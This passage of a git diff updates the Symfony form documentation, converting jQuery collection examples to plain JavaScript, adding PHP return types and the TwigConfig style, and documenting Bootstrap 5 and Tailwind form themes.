 .. seealso::
 
@@ -273,81 +280,45 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-The goal of this section will be to use JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks a "Add a tag" link.
-This example uses jQuery and assumes you have it included somewhere on your page.
+Now add some JavaScript to read this attribute and dynamically add new tag forms
+when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
+assumes you have it included somewhere on your page (e.g. using Symfony's
+:doc:`Webpack Encore </frontend>`).
 
-Add a ``script`` tag somewhere on your page so you can start writing some JavaScript.
-
-First, add a link to the bottom of the "tags" list via JavaScript. Second,
-bind to the "click" event of that link so you can add a new tag form (``addTagForm()``
-will be show next):
+Add a ``<script>`` tag somewhere on your page to include the required
+functionality with JavaScript:
 
 .. code-block:: javascript
 
-    var $collectionHolder;
-
-    // setup an "add a tag" link
-    var $addTagButton = $('<button type="button" class="add_tag_link">Add a tag</button>');
-    var $newLinkLi = $('<li></li>').append($addTagButton);
-
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add the "add a tag" anchor and li to the tags ul
-        $collectionHolder.append($newLinkLi);
+    document
+      .querySelectorAll('.add_item_link')
+      .forEach(btn => btn.addEventListener("click", addFormToCollection));
 
-        // count the current form inputs we have (e.g. 2), use that as the new
-        // index when inserting a new item (e.g. 2)
-        $collectionHolder.data('index', $collectionHolder.find('input').length);
-
-        $addTagButton.on('click', function(e) {
-            // add a new tag form (see next code block)
-            addTagForm($collectionHolder, $newLinkLi);
-        });
-    });
-
-The ``addTagForm()`` function's job will be to use the ``data-prototype`` attribute
-to dynamically add a new form when this link is clicked. The ``data-prototype``
-HTML contains the tag ``text`` input element with a name of ``task[tags][__name__][name]``
-and id of ``task_tags___name___name``. The ``__name__`` is a little "placeholder",
-which you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``).
-
-The actual code needed to make this all work can vary quite a bit, but here's
-one example:
+The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
+attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
+HTML contains the tag's ``text`` input element with a name of ``task[tags][__name__][name]``
+and id of ``task_tags___name___name``. The ``__name__`` is a placeholder, which
+you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``):
 
 .. code-block:: javascript
 
-    function addTagForm($collectionHolder, $newLinkLi) {
-        // Get the data-prototype explained earlier
-        var prototype = $collectionHolder.data('prototype');
+    const addFormToCollection = (e) => {
+      const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-        // get the new index
-        var index = $collectionHolder.data('index');
+      const item = document.createElement('li');
 
-        var newForm = prototype;
-        // You need this only if you didn't set 'label' => false in your tags field in TaskType
-        // Replace '__name__label__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        // newForm = newForm.replace(/__name__label__/g, index);
+      item.innerHTML = collectionHolder
+        .dataset
+        .prototype
+        .replace(
+          /__name__/g,
+          collectionHolder.dataset.index
+        );
 
-        // Replace '__name__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        newForm = newForm.replace(/__name__/g, index);
+      collectionHolder.appendChild(item);
 
-        // increase the index with one for the next item
-        $collectionHolder.data('index', index + 1);
-
-        // Display the form in the page in an li, before the "Add a tag" link li
-        var $newFormLi = $('<li></li>').append(newForm);
-        $newLinkLi.before($newFormLi);
-    }
-
-.. note::
-
-    It is better to separate your JavaScript in real JavaScript files than
-    to write it inside the HTML as is done here.
+      collectionHolder.dataset.index++;
+    };
 
 Now, each time a user clicks the ``Add a tag`` link, a new sub form will
 appear on the page. When the form is submitted, any new tag forms will be converted
@@ -368,12 +339,12 @@ for the tags in the ``Task`` class::
     {
         // ...
 
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             $this->tags->add($tag);
         }
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             // ...
         }
@@ -384,7 +355,7 @@ Next, add a ``by_reference`` option to the ``tags`` field and set it to ``false`
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -485,7 +456,7 @@ you will learn about next!).
         // src/Entity/Task.php
 
         // ...
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             // for a many-to-many association:
             $tag->addTask($this);
@@ -502,7 +473,7 @@ you will learn about next!).
         // src/Entity/Tag.php
 
         // ...
-        public function addTask(Task $task)
+        public function addTask(Task $task): void
         {
             if (!$this->tasks->contains($task)) {
                 $this->tasks->add($task);
@@ -522,7 +493,7 @@ Start by adding the ``allow_delete`` option in the form Type::
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -541,7 +512,7 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
     {
         // ...
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             $this->tags->removeElement($tag);
         }
@@ -560,36 +531,35 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add a delete link to all of the existing tag form li elements
-        $collectionHolder.find('li').each(function() {
-            addTagFormDeleteLink($(this));
-        });
+    const tags = document.querySelectorAll('ul.tags')
+    tags.forEach((tag) => {
+        addTagFormDeleteLink(tag)
+    })
 
-        // ... the rest of the block from above
-    });
+    // ... the rest of the block from above
 
-    function addTagForm() {
+    function addFormToCollection() {
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink($newFormLi);
+        addTagFormDeleteLink(item);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    function addTagFormDeleteLink($tagFormLi) {
-        var $removeFormButton = $('<button type="button">Delete this tag</button>');
-        $tagFormLi.append($removeFormButton);
+    const addTagFormDeleteLink = (tagFormLi) => {
+        const removeFormButton = document.createElement('button')
+        removeFormButton.classList
+        removeFormButton.innerText = 'Delete this tag'
+
+        tagFormLi.append(removeFormButton);
 
-        $removeFormButton.on('click', function(e) {
+        removeFormButton.addEventListener('click', (e) => {
+            e.preventDefault()
             // remove the li for the tag form
-            $tagFormLi.remove();
+            tagFormLi.remove();
         });
     }
 
@@ -618,52 +588,56 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     is handling the "update" of your Task::
 
         // src/Controller/TaskController.php
+
+        // ...
         use App\Entity\Task;
         use Doctrine\Common\Collections\ArrayCollection;
 
-        // ...
-        public function edit($id, Request $request, EntityManagerInterface $entityManager)
+        class TaskController extends AbstractController
         {
-            if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                throw $this->createNotFoundException('No task found for id '.$id);
-            }
+            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            {
+                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
+                    throw $this->createNotFoundException('No task found for id '.$id);
+                }
 
-            $originalTags = new ArrayCollection();
+                $originalTags = new ArrayCollection();
 
-            // Create an ArrayCollection of the current Tag objects in the database
-            foreach ($task->getTags() as $tag) {
-                $originalTags->add($tag);
-            }
+                // Create an ArrayCollection of the current Tag objects in the database
+                foreach ($task->getTags() as $tag) {
+                    $originalTags->add($tag);
+                }
 
-            $editForm = $this->createForm(TaskType::class, $task);
+                $editForm = $this->createForm(TaskType::class, $task);
 
-            $editForm->handleRequest($request);
+                $editForm->handleRequest($request);
 
-            if ($editForm->isSubmitted() && $editForm->isValid()) {
-                // remove the relationship between the tag and the Task
-                foreach ($originalTags as $tag) {
-                    if (false === $task->getTags()->contains($tag)) {
-                        // remove the Task from the Tag
-                        $tag->getTasks()->removeElement($task);
+                if ($editForm->isSubmitted() && $editForm->isValid()) {
+                    // remove the relationship between the tag and the Task
+                    foreach ($originalTags as $tag) {
+                        if (false === $task->getTags()->contains($tag)) {
+                            // remove the Task from the Tag
+                            $tag->getTasks()->removeElement($task);
 
-                        // if it was a many-to-one relationship, remove the relationship like this
-                        // $tag->setTask(null);
+                            // if it was a many-to-one relationship, remove the relationship like this
+                            // $tag->setTask(null);
 
-                        $entityManager->persist($tag);
+                            $entityManager->persist($tag);
 
-                        // if you wanted to delete the Tag entirely, you can also do that
-                        // $entityManager->remove($tag);
+                            // if you wanted to delete the Tag entirely, you can also do that
+                            // $entityManager->remove($tag);
+                        }
                     }
-                }
 
-                $entityManager->persist($task);
-                $entityManager->flush();
+                    $entityManager->persist($task);
+                    $entityManager->flush();
 
-                // redirect back to some edit page
-                return $this->redirectToRoute('task_edit', ['id' => $id]);
-            }
+                    // redirect back to some edit page
+                    return $this->redirectToRoute('task_edit', ['id' => $id]);
+                }
 
-            // render some form template
+                // ... render some form template
+            }
         }
 
     As you can see, adding and removing the elements correctly can be tricky.
@@ -680,6 +654,8 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     the `symfony-collection`_ package based on jQuery for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
-.. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
+.. _`jQuery`: http://jquery.com/
+.. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
+.. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 125b01e749a..120f4d52178 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -20,8 +20,9 @@ enough to render an entire form, including all its fields and error messages:
 
 .. code-block:: twig
 
-    {# form is a variable passed from the controller and created
-      by calling to the $form->createView() method #}
+    {# form is a variable passed from the controller via either
+      $this->renderForm('...', ['form' => $form])
+      or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
 The next step is to use the :ref:`form_start() <reference-forms-twig-start>`,
@@ -204,7 +205,7 @@ article) unless you set ``render_rest`` to false:
 .. code-block:: twig
 
     {# don't render unrendered fields #}
-    {{ form_end(form, {'render_rest': false}) }}
+    {{ form_end(form, {render_rest: false}) }}
 
 .. _reference-forms-twig-label:
 
@@ -257,8 +258,8 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the Bootstrap 4 form theme, ``form_errors()`` is already included
-    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
+    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
+    ``form_errors()`` is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 21b999fbcdd..8c32184afb0 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -33,21 +33,32 @@ in a single Twig template and they are enabled in the
   updated for `Bootstrap 4 CSS framework`_ styles.
 * `bootstrap_4_horizontal_layout.html.twig`_, same as
   ``bootstrap_3_horizontal_layout.html.twig`` but updated for Bootstrap 4 styles.
+* `bootstrap_5_layout.html.twig`_, same as ``bootstrap_4_layout.html.twig``, but
+  updated for `Bootstrap 5 CSS framework`_ styles.
+* `bootstrap_5_horizontal_layout.html.twig`_, same as
+  ``bootstrap_4_horizontal_layout.html.twig`` but updated for Bootstrap 5 styles.
 * `foundation_5_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 5 of `Foundation CSS framework`_.
 * `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 6 of `Foundation CSS framework`_.
+* `tailwind_2_layout.html.twig`_, wraps each form field inside a ``<div>``
+  element with the absolute minimum styles to make them usable. It is based on the
+  `Tailwind CSS form plugin`_.
 
 .. versionadded:: 5.1
 
     The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``bootstrap_5_layout.html.twig``, ``bootstrap_5_horizontal_layout.html.twig`` and ``tailwind_2_layout.html.twig`` were introduced in Symfony 5.3.
+
 .. tip::
 
-    Read the article about the :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>`
-    to learn more about it.
+    Read the articles about :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` and :doc:`Bootstrap 5 Symfony form theme </form/bootstrap5>`
+    to learn more about them.
 
 .. _forms-theming-global:
 .. _forms-theming-twig:
@@ -88,12 +99,15 @@ want to use another theme for all the forms of your app, configure it in the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_horizontal_layout.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 You can pass multiple themes to this option because sometimes form themes only
 redefine a few elements. This way, if some theme doesn't override some element,
@@ -273,7 +287,7 @@ form. You can also define this value explicitly with the ``block_name`` option::
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -297,7 +311,7 @@ field without having to :doc:`create a custom form type </form/create_custom_fie
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('name', TextType::class, [
             'block_prefix' => 'wrapped_text',
@@ -345,7 +359,7 @@ has a collection of ``TaskListType`` which in turn has a collection of
 
     class TaskManagerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('taskLists', CollectionType::class, [
@@ -357,7 +371,7 @@ has a collection of ``TaskListType`` which in turn has a collection of
 
     class TaskListType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('tasks', CollectionType::class, [
@@ -366,9 +380,9 @@ has a collection of ``TaskListType`` which in turn has a collection of
         }
     }
 
-    class TaskType
+    class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             $builder->add('name');
             // ...
@@ -514,12 +528,15 @@ you want to apply the theme globally to all forms, define the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 If you only want to apply it to some specific forms, use the ``form_theme`` tag:
 
@@ -629,10 +646,15 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`bootstrap_3_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_3_horizontal_layout.html.twig
 .. _`bootstrap_4_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_layout.html.twig
 .. _`bootstrap_4_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_horizontal_layout.html.twig
+.. _`bootstrap_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_layout.html.twig
+.. _`bootstrap_5_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_horizontal_layout.html.twig
 .. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.4/
-.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
+.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.6/
+.. _`Bootstrap 5 CSS framework`: https://getbootstrap.com/docs/5.0/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig
 .. _`Foundation CSS framework`: https://get.foundation/
+.. _`tailwind_2_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/tailwind_2_layout.html.twig
+.. _`Tailwind CSS form plugin`: https://tailwindcss-forms.vercel.app/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 3321ab2153a..083e415aac4 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -52,7 +52,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CompanyType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
@@ -71,7 +71,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CustomerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('firstName', TextType::class)
@@ -94,7 +94,7 @@ for that::
 
     class LocationType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('address', TextareaType::class)
@@ -103,7 +103,7 @@ for that::
                 ->add('country', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'inherit_data' => true,
@@ -129,15 +129,20 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Company;
+    use Symfony\Component\Form\AbstractType;
+
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class CompanyType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('foo', LocationType::class, [
-            'data_class' => Company::class,
-        ]);
+            $builder->add('foo', LocationType::class, [
+                'data_class' => Company::class,
+            ]);
+        }
     }
 
 .. code-block:: php
@@ -146,15 +151,18 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Customer;
-    // ...
+    use Symfony\Component\Form\AbstractType;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class CustomerType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('bar', LocationType::class, [
-            'data_class' => Customer::class,
-        ]);
+            $builder->add('bar', LocationType::class, [
+                'data_class' => Customer::class,
+            ]);
+        }
     }
 
 That's it! You have extracted duplicated field definitions to a separate
diff --git a/form/multiple_buttons.rst b/form/multiple_buttons.rst
index 74d430b4bb8..c8b1fc5145b 100644
--- a/form/multiple_buttons.rst
+++ b/form/multiple_buttons.rst
@@ -6,7 +6,7 @@ How to Submit a Form with Multiple Buttons
 
 When your form contains more than one submit button, you will want to check
 which of the buttons was clicked to adapt the program flow in your controller.
-To do this, add a second button with the caption "Save and add" to your form::
+To do this, add a second button with the caption "Save and Add" to your form::
 
     $form = $this->createFormBuilder($task)
         ->add('task', TextType::class)
@@ -17,7 +17,7 @@ To do this, add a second button with the caption "Save and add" to your form::
 
 In your controller, use the button's
 :method:`Symfony\\Component\\Form\\ClickableInterface::isClicked` method for
-querying if the "Save and add" button was clicked::
+querying if the "Save and Add" button was clicked::
 
     if ($form->isSubmitted() && $form->isValid()) {
         // ... perform some action, such as saving the task to the database
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 13f54999692..2856072e8d3 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -40,22 +40,24 @@ Start by creating the class and these methods. Next, you'll learn how to fill ea
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\FormTypeGuesserInterface;
+    use Symfony\Component\Form\Guess\TypeGuess;
+    use Symfony\Component\Form\Guess\ValueGuess;
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType(string $class, string $property)
+        public function guessType(string $class, string $property): ?TypeGuess
         {
         }
 
-        public function guessRequired(string $class, string $property)
+        public function guessRequired(string $class, string $property): ?ValueGuess
         {
         }
 
-        public function guessMaxLength(string $class, string $property)
+        public function guessMaxLength(string $class, string $property): ?ValueGuess
         {
         }
 
-        public function guessPattern(string $class, string $property)
+        public function guessPattern(string $class, string $property): ?ValueGuess
         {
         }
     }
@@ -94,12 +96,12 @@ With this knowledge, you can implement the ``guessType()`` method of the
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType(string $class, string $property)
+        public function guessType(string $class, string $property): ?TypeGuess
         {
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
             if (!isset($annotations['var'])) {
-                return; // guess nothing if the @var annotation is not available
+                return null; // guess nothing if the @var annotation is not available
             }
 
             // otherwise, base the type on the @var annotation
@@ -129,7 +131,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
         }
 
-        protected function readPhpDocAnnotations(string $class, string $property)
+        protected function readPhpDocAnnotations(string $class, string $property): array
         {
             $reflectionProperty = new \ReflectionProperty($class, $property);
             $phpdoc = $reflectionProperty->getDocComment();
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 795fd55c9ea..97a35e1441e 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -55,7 +55,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             ];
 
             $model = new TestObject();
-            // $formData will retrieve data from the form submission; pass it as the second argument
+            // $model will retrieve data from the form submission; pass it as the second argument
             $form = $this->factory->create(TestedType::class, $model);
 
             $expected = new TestObject();
@@ -67,7 +67,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             // This check ensures there are no transformation failures
             $this->assertTrue($form->isSynchronized());
 
-            // check that $formData was modified as expected when the form was submitted
+            // check that $model was modified as expected when the form was submitted
             $this->assertEquals($expected, $model);
         }
 
@@ -88,7 +88,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
 So, what does it test? Here comes a detailed explanation.
 
 First you verify if the ``FormType`` compiles. This includes basic class
-inheritance, the ``buildForm()`` function and options resolution. This should
+inheritance, the ``buildForm()`` method and options resolution. This should
 be the first test you write::
 
     $form = $this->factory->create(TestedType::class, $formData);
@@ -121,8 +121,8 @@ variable exists and will be available in your form themes::
 
 .. tip::
 
-    Use :ref:`PHPUnit data providers <testing-data-providers>` to test multiple
-    form conditions using the same test code.
+    Use `PHPUnit data providers`_ to test multiple form conditions using
+    the same test code.
 
 .. caution::
 
@@ -219,7 +219,8 @@ allows you to return a list of extensions to register::
 
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
-                ->enableAnnotationMapping()
+                ->enableAnnotationMapping(true)
+                ->addDefaultDoctrineAnnotationReader()
                 ->getValidator();
 
             return [
@@ -242,3 +243,5 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeExtensions`
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
+
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 6a567286094..c2cba15ad7f 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -9,7 +9,7 @@ form class. This empty data set would be used if you submit your form, but
 haven't called ``setData()`` on your form or passed in data when you created
 your form. For example, in a controller::
 
-    public function index()
+    public function index(): Response
     {
         $blog = ...;
 
@@ -61,7 +61,7 @@ that constructor with no arguments::
         }
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'empty_data' => new Blog($this->someDependency),
@@ -96,7 +96,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     use Symfony\Component\OptionsResolver\OptionsResolver;
     // ...
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'empty_data' => function (FormInterface $form) {
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index e497a7556df..9b12bdfec55 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -23,11 +23,7 @@ parameter::
             $this->service2 = $service2;
         }
 
-        /**
-         * @param FormInterface $form
-         * @return array
-         */
-        public function __invoke(FormInterface $form)
+        public function __invoke(FormInterface $form): array
         {
             $groups = [];
 
@@ -42,8 +38,8 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
     // src/Form/MyClassType.php;
     namespace App\Form;
 
-    use App\Validator\ValidationGroupResolver;
-    use Symfony\Component\Form\AbstractType
+    use App\Validation\ValidationGroupResolver;
+    use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     class MyClassType extends AbstractType
@@ -56,7 +52,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
         }
 
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => $this->groupResolver,
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index 2dfe2889de9..a215ed02aba 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -20,7 +20,7 @@ following to the ``configureOptions()`` method::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             // ...
diff --git a/form/without_class.rst b/form/without_class.rst
index 50efc1dbcc7..5f565ebfb52 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -12,28 +12,35 @@ But sometimes, you may want to use a form without a class, and get back an
 array of the submitted data. The ``getData()`` method allows you to do
 exactly that::
 
-    // make sure you've imported the Request namespace above the class
+    // src/Controller/ContactController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function contact(Request $request)
+    class ContactController extends AbstractController
     {
-        $defaultData = ['message' => 'Type your message here'];
-        $form = $this->createFormBuilder($defaultData)
-            ->add('name', TextType::class)
-            ->add('email', EmailType::class)
-            ->add('message', TextareaType::class)
-            ->add('send', SubmitType::class)
-            ->getForm();
-
-        $form->handleRequest($request);
-
-        if ($form->isSubmitted() && $form->isValid()) {
-            // data is an array with "name", "email", and "message" keys
-            $data = $form->getData();
+        public function contact(Request $request): Response
+        {
+            $defaultData = ['message' => 'Type your message here'];
+            $form = $this->createFormBuilder($defaultData)
+                ->add('name', TextType::class)
+                ->add('email', EmailType::class)
+                ->add('message', TextareaType::class)
+                ->add('send', SubmitType::class)
+                ->getForm();
+
+            $form->handleRequest($request);
+
+            if ($form->isSubmitted() && $form->isValid()) {
+                // data is an array with "name", "email", and "message" keys
+                $data = $form->getData();
+            }
+
+            // ... render the form
         }
-
-        // ... render the form
     }
 
 By default, a form actually assumes that you want to work with arrays of
@@ -72,7 +79,7 @@ you want to use. See :doc:`/validation` for more details.
 
 .. _form-option-constraints:
 
-But if the form is not mapped to an object and you instead want to retrieve a
+But if the form is not mapped to an object and you instead want to retrieve an
 array of your submitted data, how can you add constraints to the data of
 your form?
 
@@ -85,7 +92,7 @@ but here's a short example::
     use Symfony\Component\Validator\Constraints\Length;
     use Symfony\Component\Validator\Constraints\NotBlank;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder
             ->add('firstName', TextType::class, [
diff --git a/forms.rst b/forms.rst
index ec5a04fcfc1..937fd0832cd 100644
--- a/forms.rst
+++ b/forms.rst
@@ -49,22 +49,22 @@ following ``Task`` class::
         protected $task;
         protected $dueDate;
 
-        public function getTask()
+        public function getTask(): string
         {
             return $this->task;
         }
 
-        public function setTask($task)
+        public function setTask(string $task): void
         {
             $this->task = $task;
         }
 
-        public function getDueDate()
+        public function getDueDate(): ?\DateTime
         {
             return $this->dueDate;
         }
 
-        public function setDueDate(\DateTime $dueDate = null)
+        public function setDueDate(?\DateTime $dueDate): void
         {
             $this->dueDate = $dueDate;
         }
@@ -122,10 +122,11 @@ use the ``createFormBuilder()`` helper::
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
